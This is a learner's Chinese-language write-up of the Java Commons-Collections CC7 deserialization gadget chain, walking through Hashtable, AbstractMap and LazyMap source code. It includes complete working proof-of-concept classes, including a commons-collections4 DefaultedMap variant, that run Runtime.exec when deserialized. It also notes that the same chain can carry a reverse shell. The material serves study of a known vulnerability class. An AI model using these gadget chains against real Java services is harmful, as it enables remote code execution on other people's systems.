CC7
和CC5一样,改变了CC1的开头,但LaztMap#get()后半段是一样的

1
2
3
|
版本
jdk:jdk8u65
CC:Commons-Collections 3.2.1
|
找一下能调用get的方法
AbstractMap#equals
在AbstractMap#equals中调用了get
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
|
public boolean equals(Object o) {
if (o == this)
return true;
if (!(o instanceof Map))
return false;
Map<?,?> m = (Map<?,?>) o;
if (m.size() != size())
return false;
try {
Iterator<Entry<K,V>> i = entrySet().iterator();
while (i.hasNext()) {
Entry<K,V> e = i.next();
K key = e.getKey();
V value = e.getValue();
if (value == null) {
if (!(m.get(key)==null && m.containsKey(key)))
return false;
} else {
if (!value.equals(m.get(key)))
return false;
}
}
} catch (ClassCastException unused) {
return false;
} catch (NullPointerException unused) {
return false;
}
return true;
}
|
Hashtable#reconstitutionPut()
在Hashtable类的reconstitutionPut中调用了equals方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
throws StreamCorruptedException
{
if (value == null) {
throw new java.io.StreamCorruptedException();
}
// Makes sure the key is not already in the hashtable.
// This should not happen in deserialized version.
int hash = key.hashCode();
int index = (hash & 0x7FFFFFFF) % tab.length;
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
}
// Creates the new entry.
@SuppressWarnings("unchecked")
Entry<K,V> e = (Entry<K,V>)tab[index];
tab[index] = new Entry<>(hash, key, value, e);
count++;
}
|
Hashtable#readObject()
在本类的readObject()方法中发现调用了reconstitutionPut方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
|
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException
{
// Read in the threshold and loadFactor
s.defaultReadObject();
// Validate loadFactor (ignore threshold - it will be re-computed)
if (loadFactor <= 0 || Float.isNaN(loadFactor))
throw new StreamCorruptedException("Illegal Load: " + loadFactor);
// Read the original length of the array and number of elements
int origlength = s.readInt();
int elements = s.readInt();
// Validate # of elements
if (elements < 0)
throw new StreamCorruptedException("Illegal # of Elements: " + elements);
// Clamp original length to be more than elements / loadFactor
// (this is the invariant enforced with auto-growth)
origlength = Math.max(origlength, (int)(elements / loadFactor) + 1);
// Compute new length with a bit of room 5% + 3 to grow but
// no larger than the clamped original length. Make the length
// odd if it's large enough, this helps distribute the entries.
// Guard against the length ending up zero, that's not valid.
int length = (int)((elements + elements / 20) / loadFactor) + 3;
if (length > elements && (length & 1) == 0)
length--;
length = Math.min(length, origlength);
if (length < 0) { // overflow
length = origlength;
}
// Check Map.Entry[].class since it's the nearest public type to
// what we're actually creating.
SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, length);
table = new Entry<?,?>[length];
threshold = (int)Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1);
count = 0;
// Read the number of elements and then all the key/value objects
for (; elements > 0; elements--) {
@SuppressWarnings("unchecked")
K key = (K)s.readObject();
@SuppressWarnings("unchecked")
V value = (V)s.readObject();
// sync is eliminated for performance
reconstitutionPut(table, key, value);
}
}
|
编写poc
我们先看一下equals方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
|
public boolean equals(Object o) {
if (o == this)
return true;
if (!(o instanceof Map))
return false;
Map<?,?> m = (Map<?,?>) o;
if (m.size() != size())
return false;
try {
Iterator<Entry<K,V>> i = entrySet().iterator();
while (i.hasNext()) {
Entry<K,V> e = i.next();
K key = e.getKey();
V value = e.getValue();
if (value == null) {
if (!(m.get(key)==null && m.containsKey(key)))
return false;
} else {
if (!value.equals(m.get(key)))
return false;
}
}
} catch (ClassCastException unused) {
return false;
} catch (NullPointerException unused) {
return false;
}
return true;
}
|
如果要进入get方法的话需要先经过三个if语句的判断
1
2
3
4
5
6
7
8
|
if (o == this) //判断o是否为对象本身
return true;
if (!(o instanceof Map)) //判断类型是否是Map类型
return false;
Map<?,?> m = (Map<?,?>) o; //将对象 o 强制转换为泛型类型为未知类型的 Map
if (m.size() != size()) //判断Map的元素的个数size
return false;
|
当以上三个判断都不满足的情况下,则进一步判断Map中的元素,也就是判断元素的key和value的内容是否相同,在value不为null的情况下,m会调用get方法获取key的内容。虽然对象o强制成Map类型,但是m对象本质上是一个LazyMap。因此m对象调用get方法时实际上是调用了LazyMap的get方法。
看readObject方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
|
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException
{
// Read in the threshold and loadFactor
s.defaultReadObject();
// Validate loadFactor (ignore threshold - it will be re-computed)
if (loadFactor <= 0 || Float.isNaN(loadFactor))
throw new StreamCorruptedException("Illegal Load: " + loadFactor);
// Read the original length of the array and number of elements
int origlength = s.readInt();
int elements = s.readInt();
// Validate # of elements
if (elements < 0)
throw new StreamCorruptedException("Illegal # of Elements: " + elements);
// Clamp original length to be more than elements / loadFactor
// (this is the invariant enforced with auto-growth)
origlength = Math.max(origlength, (int)(elements / loadFactor) + 1);
// Compute new length with a bit of room 5% + 3 to grow but
// no larger than the clamped original length. Make the length
// odd if it's large enough, this helps distribute the entries.
// Guard against the length ending up zero, that's not valid.
int length = (int)((elements + elements / 20) / loadFactor) + 3;
if (length > elements && (length & 1) == 0)
length--;
length = Math.min(length, origlength);
if (length < 0) { // overflow
length = origlength;
}
// Check Map.Entry[].class since it's the nearest public type to
// what we're actually creating.
SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, length);
table = new Entry<?,?>[length];
threshold = (int)Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1);
count = 0;
// Read the number of elements and then all the key/value objects
for (; elements > 0; elements--) {
@SuppressWarnings("unchecked")
K key = (K)s.readObject();
@SuppressWarnings("unchecked")
V value = (V)s.readObject();
// sync is eliminated for performance
reconstitutionPut(table, key, value);
}
}
|
没什么需要注意的
看看reconstitutionPut方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value) throws StreamCorruptedException {
//value不能为null
if (value == null) {
throw new java.io.StreamCorruptedException();
}
//重新计算key的hash值
int hash = key.hashCode();
//根据hash值计算存储索引
int index = (hash & 0x7FFFFFFF) % tab.length;
//判断元素的key是否重复
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
//如果key重复则抛出异常
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
}
//key不重复则将元素添加到table数组中
@SuppressWarnings("unchecked")
Entry<K,V> e = (Entry<K,V>)tab[index];
tab[index] = new Entry<>(hash, key, value, e);
count++;
}
|
reconstitutionPut方法首先对value进行不为null的校验,否则抛出反序列化异常
然后根据key计算出元素在table数组中的存储索引,判断元素在table数组中是否重复,这里的话会调用equals方法
CC7利用链的漏洞触发的关键就在reconstitutionPut方法中,该方法在判断重复元素的时候校验了两个元素的hash值是否一样,然后接着key会调用equals方法判断key是否重复时就会触发漏洞。
所以我们不难看出,在Hashtable中的元素至少为2个并且元素的hash值也必须相同的情况下才会调用equals方法,否则不会触发漏洞。
那么我们就需要创建两个Map对象
1
2
3
4
5
6
7
8
9
10
11
|
HashMap hashMap1 = new HashMap();
HashMap hashMap2 = new HashMap();
Map LazyMap1=LazyMap.decorate(hashMap1,chainedTransformer);
LazyMap1.put("aa",1);
Map LazyMap2 = LazyMap.decorate(hashMap2, chainedTransformer);
LazyMap2.put("bb",1);
Hashtable hashtable = new Hashtable();
hashtable.put(LazyMap1,1);
hashtable.put(LazyMap2,1);
|
需要注意一个点,那就是在反序列化时,reconstitutionPut方法中的if判断中两个元素的hash值必须相同的情况下,才会调用eauals方法。infer师傅这里给出两组hash相同的值:
所以有
1
2
3
4
5
6
7
8
9
10
11
|
HashMap hashMap1 = new HashMap();
HashMap hashMap2 = new HashMap();
Map LazyMap1=LazyMap.decorate(hashMap1,chainedTransformer);
LazyMap1.put("yy",1);
Map LazyMap2 = LazyMap.decorate(hashMap2, chainedTransformer);
LazyMap2.put("zZ",1);
Hashtable hashtable = new Hashtable();
hashtable.put(LazyMap1,1);
hashtable.put(LazyMap2,1);
|
目前就是这个
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
|
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.util.AbstractMap;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class Main {
public static void main(String[] args) throws Exception {
Transformer[] TransformerArray = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(TransformerArray);
// 通过decorate()方法获取到LazyMap对象,并将ChainedTransformer传入
HashMap hashMap1 = new HashMap();
HashMap hashMap2 = new HashMap();
Map LazyMap1=LazyMap.decorate(hashMap1,chainedTransformer);
LazyMap1.put("yy",1);
Map LazyMap2 = LazyMap.decorate(hashMap2, chainedTransformer);
LazyMap2.put("zZ",1);
Hashtable hashtable = new Hashtable();
hashtable.put(LazyMap1,1);
hashtable.put(LazyMap2,1);
}
public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("serialize"));
oos.writeObject(obj);
}
public static void unserialize(String filename) throws Exception{
ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(filename));
objectInputStream.readObject();
}
}
|
remove第二次Hashtable在调用put方法给LazyMap2添加的元素
可以运行,但是有大问题,在get方法中return这行这打个断点,发现LazyMap2有2个元素,即多了一个yy

先解释一下这怎么来的,在get这行打个断点,此时LazyMap2有了zZ,为啥此时key为yy,原因是第二次Hashtable在调用put方法添加元素的时候会调用equals方法判断是否为同一对象,而在equals中会调用LazyMap的get方法,由代码(map.containsKey(key) == false)只当LazyMap2没有yy时,put一个元素yy,显然成立执行。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
public synchronized V put(K key, V value) {
// Make sure the value is not null
if (value == null) {
throw new NullPointerException();
}
// Makes sure the key is not already in the hashtable.
Entry<?,?> tab[] = table;
int hash = key.hashCode();
int index = (hash & 0x7FFFFFFF) % tab.length;
@SuppressWarnings("unchecked")
Entry<K,V> entry = (Entry<K,V>)tab[index];
for(; entry != null ; entry = entry.next) {
// 此时经过第一次Hashtable,entry是已经在里面的 LazyMap1
// key 是正在往里放的 LazyMap2
if ((entry.hash == hash) && entry.key.equals(key)) {//此时entry.key.equals(key)就是LazyMap1.equals(LazyMap2)
V old = entry.value;
entry.value = value;
return old;
}
}
//这里有个问题,不是AbstractMap的equals方法,咋变成了LazyMap1.equals(LazyMap2),是LazyMap来调用equals?因为LazyMap 装饰的HashMap,所以,LazyMap1.equals(LazyMap2) 实际上跳转到了 hashMap1.equals(LazyMap2)。而HashMap 继承自 java.util.AbstractMap,那么 hashMap1.equals(LazyMap2) 实际上调用的就是父类 java.util.AbstractMap 的 equals 方法。
|

1
|
所以为啥不行有2个元素?当在反序列化时,reconstitutionPut方法在还原table数组时会调用equals方法判断重复元素,由于AbstractMap抽象类的equals方法校验的时候更为严格,会判断Map中元素的个数,由于lazyMap2和lazyMap1中的元素个数不一样则直接返回false,那么也就不会触发漏洞。所以我们remove这个yy就行了。
|

注意:例如我们需要生成反弹shell的序列化字符串的时候,put方法的提前触发而导致后面进行base64编码无法进行,所以还是用之前的方法,先放一个空的Transformer,再换回去(如果不这样,未序列化反序列化就会触发计算机)
所以poc是
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
|
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.functors.ChainedTransformer;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.AbstractMap;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class Main {
public static void main(String[] args) throws Exception {
Transformer[] TransformerArray = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});
// 通过decorate()方法获取到LazyMap对象,并将ChainedTransformer传入
HashMap hashMap1 = new HashMap();
HashMap hashMap2 = new HashMap();
Map LazyMap1=LazyMap.decorate(hashMap1,chainedTransformer);
LazyMap1.put("yy",1);
Map LazyMap2 = LazyMap.decorate(hashMap2, chainedTransformer);
LazyMap2.put("zZ",1);
Hashtable hashtable = new Hashtable();
hashtable.put(LazyMap1,1);
hashtable.put(LazyMap2,1);
Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(chainedTransformer, TransformerArray);
LazyMap2.remove("yy");
serialize(hashtable);
unserialize("serialize");
}
public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("serialize"));
oos.writeObject(obj);
}
public static void unserialize(String filename) throws Exception{
ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(filename));
objectInputStream.readObject();
}
}
|
poc补充
这个poc来自此师傅wanth3f1ag.top/2025/06/28/Java反序列化CC7链/
1
|
Hashtable#readObject() -> Hashtable#reconstitutionPut()->AbstractMap#equals()->DefaultedMap#get() → 调用 transformer
|
总体和传统cc7差不多
这里注意的是
1
2
3
|
1,DefaultedMap.equals()因为 DefaultedMap 继承自 AbstractMapDecorator,所以实际代码在 AbstractMapDecorator 里。然后轮到map (HashMap) 执行 equals 了。但是 HashMap 自己没有写 equals 方法,它继承自 JDK 原生的 java.util.AbstractMap。
2.DefaultedMap 的构造方法被设计成了 protected,所以要反射获得构造函数
|

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
|
package SerializeChains.CCchains.CC7;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.map.DefaultedMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class CC7plus {
/*
* Hashtable#readObject() 触发 DefaultedMap#equals() → 调用 transformer,适用于commons-collections4
* */
public static void main(String[] args) throws Exception {
Transformer transformerChain = new ChainedTransformer(new Transformer[]{});
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
//CC7链的开始
Map hashMap1 = new HashMap();
Map hashMap2 = new HashMap();
Class<DefaultedMap> d = DefaultedMap.class;
Constructor<DefaultedMap> declaredConstructor = d.getDeclaredConstructor(Map.class, Transformer.class);
declaredConstructor.setAccessible(true);
DefaultedMap defaultedMap1 = declaredConstructor.newInstance(hashMap1, transformerChain);
DefaultedMap defaultedMap2 = declaredConstructor.newInstance(hashMap2, transformerChain);
defaultedMap1.put("yy", 1);
defaultedMap2.put("zZ", 1);
Hashtable hashtable = new Hashtable();
hashtable.put(defaultedMap1, 1);
hashtable.put(defaultedMap2, 1);
Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(transformerChain,transformers);
defaultedMap2.remove("yy");
serialize(hashtable);
unserialize("CC7plus.txt");
}
//定义序列化操作
public static void serialize(Object object) throws Exception{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("CC7plus.txt"));
oos.writeObject(object);
oos.close();
}
//将序列化字符串转为base64
// public static void serialize(Object object) throws Exception{
// ByteArrayOutputStream data = new ByteArrayOutputStream();
// ObjectOutputStream oos = new ObjectOutputStream(data);
// oos.writeObject(object);
// oos.close();
// System.out.println(Base64.getEncoder().encode(data.toByteArray()));
// }
//定义反序列化操作
public static void unserialize(String filename) throws Exception{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
ois.readObject();
}
}
|
CC链总结
还是太摆了,暑假就说要学java,结果就说在摆,暑假没啥,而且还没学懂,开学也在打ctf,畏难不敢看java,结果也没写几条链子,还是放假老老实实做着搞几天才搞完,学到不少东西,重要的链子就是CC1、CC3、CC6这三条,CC1的动态代理,CC3的代码执行。加油加油!成为java高手!